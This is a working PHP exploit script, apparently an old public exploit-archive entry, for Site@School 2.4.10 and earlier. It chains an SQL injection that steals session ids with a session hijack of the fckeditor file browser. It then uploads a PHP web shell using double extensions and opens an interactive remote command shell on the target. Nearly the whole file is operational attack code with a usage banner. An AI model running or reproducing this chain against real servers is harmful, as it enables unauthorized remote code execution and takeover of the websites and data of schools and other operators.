|
<?php
/*
-------------------------------------------------------------------------
Site@School <= 2.4.10 (fckeditor) Session Hijacking / File Upload Exploit
-------------------------------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://siteatschool.sourceforge.net/
details..: works with magic_quotes_gpc = off (the bug isn't still patched: http://www.securityfocus.com/bid/27120)
details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)
[-] vulnerable code in /starnet/editors/fckeditor/editor/filemanager/sas/browser.php
63. $query = "SELECT config_value FROM $table_configuration WHERE config_key='sessioncode'";
64. if ($result = mysql_query($query))
65. {
66. $check_sessioncode = mysql_result($result, 0);
67. unset ($query);
68. unset ($result);
69. }
70. if ($_SESSION['sessioncode'] != $check_sessioncode)
71. {
72. //if we don't have a session present the login screen
73. Header("Location: ../../../../../index.php");
74. exit;
75. }
[...]
117. if ($option == "upload")
118. {
119. if (IsSet ($_FILES["new_file"]["name"]))
120. {
121. $file_name = $_FILES["new_file"]["name"];
122. }
123. if (IsSet ($_SESSION['opendir']))
124. {
125. $write_path = $_SESSION['user_media_path'] . "/" . $_SESSION['opendir'];
126. // moveupload the file to $write_path, function is in core/common.inc.php
127. $temp_file = $_FILES["new_file"]["tmp_name"]; //this is temporary uploaded file.
128. sas_move_uploaded_file($write_path, $file_name, $temp_file);
129. }
130. $opendir = $_SESSION['opendir']; //for returning to the directory were we came from
131. }
an attacker could be able to retrieve a valid session id using the SQL injection bug in /starnet/addons/slideshow_full.php
(http://www.milw0rm.com/exploits/4832) and bypass checks at lines 70-75 to upload malicious files containing php code!
*/
error_reporting(0);
ini_set("default_socket_timeout",5);
set_time_limit(0);
define(STDIN, fopen("php://stdin", "r"));
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...\n";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path, $sid;
$file_ext = array(".fla", ".swf", ".rar", ".zip", ".xls", ".csv");
$packet = "GET {$path}starnet/editors/fckeditor/editor/filemanager/sas/images.php?opendir=gallery HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID={$sid}\r\n";
$packet .= "Connection: close\r\n\r\n";
http_send($host, $packet);
foreach ($file_ext as $ext)
{
print "\n[-] Trying to upload with {$ext} extension...";
$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"new_file\"; filename=\"test.php{$ext}\"\r\n\r\n";
$payload .= "<?php \${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";
$packet = "POST {$path}starnet/editors/fckeditor/editor/filemanager/sas/browser.php?option=upload HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID={$sid}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
if (preg_match("/File upload error/i", http_send($host, $packet))) die("\n[-] Upload failed!\n");
$packet = "GET {$path}starnet/media/gallery/test.php{$ext} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
sleep(1);
}
return false;
}
function get_sid()
{
global $host, $path, $prefix;
// thanks to rgod for giving to understand that this isn't blind injetion...r.i.p. my friend!
$sql = "'/**/UNION/**/SELECT/**/CONCAT(CHAR(0xFF),ses_id,CHAR(0xFF),CHAR(0x27)),1,1/**/" .
"FROM/**/{$prefix}_sessions/**/WHERE/**/ses_value/**/LIKE/**/'%sessioncode%'%23";
$packet = "GET {$path}starnet/addons/slideshow_full.php?album_name={$sql} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$pieces = explode(chr(0xFF), http_send($host, $packet));
return $pieces[1];
}
function check_target()
{
global $host, $path, $prefix;
print "\n[-] Checking {$host}...";
$packet = "GET {$path}starnet/addons/slideshow_full.php?album_name=%27 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
if (preg_match("/FROM (.*)_m/", http_send($host, $packet), $match)) print "vulnerable!\n";
else die("not vulnerable!\n\n[-] Exploit failed...probably magic_quotes_gpc = on\n");
$prefix = $match[1];
}
print "\n+-----------------------------------------------------------------------+";
print "\n| Site@School <= 2.4.10 Session Hijacking / File Upload Exploit by EgiX |";
print "\n+-----------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage...: php $argv[0] host path \n";
print "\nhost....: target server (ip/hostname)";
print "\npath....: path to sas directory\n";
die();
}
$host = $argv[1];
$path = $argv[2];
check_target();
$sid = get_sid();
if (empty($sid)) die("\n[-] Session id not found! Try later...\n");
else print "\n[-] Hijacking with sid {$sid}\n";
if (!($ext = upload())) die("\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
while(1)
{
print "\nsas-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}starnet/media/gallery/test.php{$ext} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$output = http_send($host, $packet);
if (!preg_match("/_code_/", $output)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $output);
print "\n{$shell[1]}";
}
else break;
}
?>
|
| |
|
推荐
评论(0条)
